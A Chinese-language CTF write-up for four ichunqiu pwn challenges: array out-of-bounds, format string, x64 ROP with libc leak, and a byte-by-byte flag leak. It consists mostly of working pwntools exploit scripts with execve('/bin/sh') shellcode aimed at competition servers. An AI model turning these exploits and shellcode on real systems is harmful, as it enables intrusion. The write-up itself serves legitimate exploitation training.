ichunqiu tenCentAp - Pwn

第一次自己做 Pwn,真刺激。bin 和 idb:http://sh3ll.me/images/2016/07/04/ichunqiu.7z

Pwn1

在输入操作下标时没有检测是否越界,通过数组越界读获取获取伪造的函数指针执行 shellcode。

from pwn import *

# io = process("./tc1")
io = remote("106.75.9.11", 20000)

io.recvuntil("4. Divide")

io.sendline("29")
io.recvuntil("[123 110]")
payload = p32(0x804a0a4) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
io.sendline(payload)
io.interactive()

Pwn2

格式化字符串漏洞。有几个点,开启了 ASLR,所有首先需要泄露出栈的地址;默认读取 16 字节的输入,对于 payload 是不够的,所以首先需要改写掉这个 16;程序设置了 alarm,如果直接重写返回地址的 4 个字节会超时退出,我的办法是分两次写,每次写两个字节;程序是个死循环,所以即使重写了返回地址默认也是无法去执行的,需要改写掉循环标识符使其跳出。

from pwn import *

# io = process("./echo-200")
io = remote("106.75.9.11", 20001)

# leak
io.recv()
io.sendline("%d%d%d%d %p")
limit_addr = int(io.recvline().strip().split()[1], 16) - 0xc
while_loop_sign = limit_addr + 0x8
ret = limit_addr + 0x21c
shellcode_addr = limit_addr + 0x10
log.success("limit addr => {}".format(hex(limit_addr)))
log.success("while loop sign => {}".format(hex(while_loop_sign)))
log.success("ret => {}".format(hex(ret)))
log.success("shellcode addr => {}".format(hex(shellcode_addr)))

# overwrite limit
io.recv()
payload = p32(limit_addr) + "%600d %7$n"
io.sendline(payload)

# overwrite ret
io.recv()
payload = p32(ret)
payload += "%{}d %7$n".format(u16(p32(shellcode_addr)[:2]) - len(payload) - 1)
io.sendline(payload)
io.recv()
payload = p32(ret + 0x2)
payload += "%{}d %7$n".format(u16(p32(shellcode_addr)[2:]) - len(payload) - 1)
io.sendline(payload)

# overwrite while loop sign and write shellcode
io.recv()
payload = p32(while_loop_sign)
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += "%d %7$n"

# gdb.attach(io, "b * 0x08048FB6\nc")
io.sendline(payload)

io.interactive()

Pwn3

栈溢出,考点可能是 x64 ROP?机器是 CentOS 的,libc database 中没有找到相应的 libc,直接用的 pwntools 的 leak 泄露出 system 的偏移地址。其实这个完全可以不用泄露的,需要的技术是 return to dl_resolve,可是我还不懂,这两天要去学习下:)

leak.py
----------
from pwn import *

qwb3 = ELF("./qwb3")
# io = process("./qwb3")
io = remote("106.75.8.230", 19286)
offset = 0x48

pop_rdi_ret = 0x0000000000400633
pop_rsi_ret = 0x0000000000400631

# leak
def leak(address):
	print "leak {}".format(hex(address))
	payload = "A" * offset
	payload += p64(pop_rdi_ret)
	payload += p64(1)
	payload += p64(pop_rsi_ret)
	payload += p64(address)
	payload += "A" * 8
	payload += p64(qwb3.plt.get("write"))
	payload += p64(qwb3.symbols.get("vulnerable_function"))
	io.sendline(payload)
	# read_addr = u64(io.recv(8))
	ret = io.recv(8)
	io.recv()
	return ret

io.recvuntil("pwn pwn pwn \n")
de = DynELF(leak, elf=ELF("./qwb3"))
system_addr = de.lookup("system", "libc")
write_addr = de.lookup("write", "libc")
print hex(system_addr)
print hex(write_addr)
print hex(write_addr - system_addr)

exp.py
----------
from pwn import *

qwb3 = ELF("./qwb3")
# io = process("./qwb3")
io = remote("106.75.8.230", 19286)
offset = 0x48

pop_rdi_ret = 0x0000000000400633
pop_rsi_ret = 0x0000000000400631

# leak
io.recvuntil("pwn pwn pwn \n")
payload = "A" * offset
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(qwb3.got.get("write"))
payload += "A" * 8
payload += p64(qwb3.plt.get("write"))
payload += p64(qwb3.symbols.get("vulnerable_function"))
io.sendline(payload)
write_addr = u64(io.recv(8))
log.success("write => {}".format(hex(write_addr)))
system_addr = write_addr - 0x9cc20
log.success("system => {}".format(hex(system_addr)))

# write /bin/sh
io.recv()
payload = "A" * offset
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(0x0000000000601048)
payload += "A" * 8
payload += p64(qwb3.plt.get("read"))
payload += p64(qwb3.symbols.get("vulnerable_function"))
# gdb.attach(io, "b * vulnerable_function+31\nc")
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00")

# system
payload = "A" * offset
payload += p64(pop_rdi_ret)
payload += p64(0x0000000000601048)
payload += p64(system_addr)
io.sendline(payload)

io.interactive()

Pwn4

就是个一字节的 leak,这道题我觉得难度还不如 Pwn1…

name2 的 buf 空间为 40 字节,scanf 也是读入了 40 字节,也就是说可以去掉尾部的 “\00”,然后 name2 下方相邻的是 flag 的每一个字节,所以每次可以泄露一字节出来。

from sys import argv

from pwn import *

# io = process("./cg_leak")
io = remote("106.75.8.230", 13349)

def leak(flag):
    name = "A" * 40
    io.recvuntil("NAME:")
    io.sendline(name)
    io.recvuntil("again?\n")
    io.sendline(name)
    io.recvuntil("FLAG: ")
    io.sendline(flag)
    io.recvuntil("Sorry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
    log.success(flag[:-1] + io.recv(1))
    io.close()

leak(argv[1])

TIPS

格式化字符串中利用 “%7$n” 这种 format 很方便,意思是使用第 7 个参数:格式化字符串的漏洞利用(Part 1)